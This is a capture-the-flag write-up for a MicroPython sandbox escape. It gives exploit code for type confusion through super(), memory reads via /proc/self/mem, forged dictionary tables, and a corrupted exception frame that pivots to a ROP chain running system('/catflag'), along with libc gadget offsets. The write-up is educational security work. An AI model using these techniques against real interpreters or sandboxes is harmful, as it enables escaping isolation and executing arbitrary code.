$ cat writeup.md…
$ cat writeup.md…
b01lersCTF
Task: MicroPython v1.27.0 sandbox with os module disabled, execute /catflag binary. Solution: Bootstrap hidden VFS primitives via type confusion, achieve arbitrary read via /proc/self/mem, materialize raw pointers as Python objects via forged dict tables, corrupt NLR exception frame to pivot to ROP chain calling system('/catflag').
MicroPython sandbox challenge. Remote runs MicroPython v1.27.0 minimal variant with
osmodule patched out. Goal: execute/catflagto get the flag.
The challenge presented a restricted MicroPython REPL where standard modules like os, ffi, uctypes, gc were unavailable. The process ran as uid 1000 with seccomp enabled and NoNewPrivs. The /catflag binary had mode 0111 (execute-only).
Initial probing revealed:
import sys and import builtins workos, ffi, uctypes, gc, array, struct all failKey insight: While os module was disabled via MICROPY_PY_OS, the underlying VFS (Virtual File System) primitives still existed in the binary - just not exposed to Python namespace.
MicroPython's super() mechanism combined with slot manipulation enabled access to hidden internal objects:
X = type("X", (dict,), {}) super(X, X).__init__(staticmethod(lambda: 0)) T = super(X, X).copy() class W(list): def __init__(self, tgt, *args): self = tgt # Type confusion super().__init__(*args) try: W(T, "Y", (type,), {"poke": W.__init__}) except: pass o = __import__("sys").implementation c = {} c.poke(c, {}) # Iterate fake dict over sys.implementation to find hidden VFS it = iter(c.items(o)) for _ in range(10): next(it) Dv = next(it)[1] # VfsPosix locals dict it = iter(c.items(o)) for _ in range(26): next(it) Dr = next(it)[1] # rawfile locals dict
This yielded hidden methods: openf, readf, seekf, writef, closef, statf, listdirf.
With VFS primitives, /proc/self/mem provided arbitrary memory read:
mem = openf([], b'/proc/self/mem', 'rb') seekf(mem, target_address) data = readf(mem, size)
Used to dump MicroPython binary and musl libc, recovering key offsets.
Forged dict table entries to materialize arbitrary raw pointers as Python objects:
TB = (0,0,0,0,0,0,0,0) # Fake mp_map_elem_t table M = {0: 0} # Real dict to corrupt WTB = (None, TB, None, None) + (None,)*60 WM = (None, M, None, False) + (None,)*60 # Write target pointer into TB p = b"/" + b"A"*18 + target_ptr.to_bytes(8, "little")[:6] openf(WTB, p, "r") # Patch M.table to point to TB+24 p = b"/" + b"A"*10 + (id(TB)+16).to_bytes(8, "little")[:6] openf(WM, p, "r") # Materialize it = iter(M.items()) OBJ = next(it)[1] # Raw pointer as Python object
The write primitive via openf(W, path, 'r') always wrote / (0x2f) as first byte. Gadgets with low byte 0x2f were identified:
pop rdi; ret at musl+0x44a2fsyscall; ret at musl+0x43d2fadd rsp, 8; ret at musl+0x5142fMicroPython helper at offset 0x842f: xor eax,eax; mov [nlr_top], rdi; ret
This allowed setting the global NLR (exception handler) pointer to a fake frame.
Final exploit flow:
/proc/self/maps to get musl and micropython base addressesbuiltin_fixed_1 function object (closef)1/0 exceptionsystem("/catflag")Key offsets:
# Fake NLR frame layout A = bytearray(256) A_addr = id(A) + 32 # saved RSP -> A+0x80, saved RIP -> pop_rdi_ret # Stack: ["/catflag" ptr] [skip gadget] [poison] [system] F1(A_addr) # Set nlr_top to fake frame 1/0 # Trigger exception -> unwind -> ROP -> system("/catflag")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar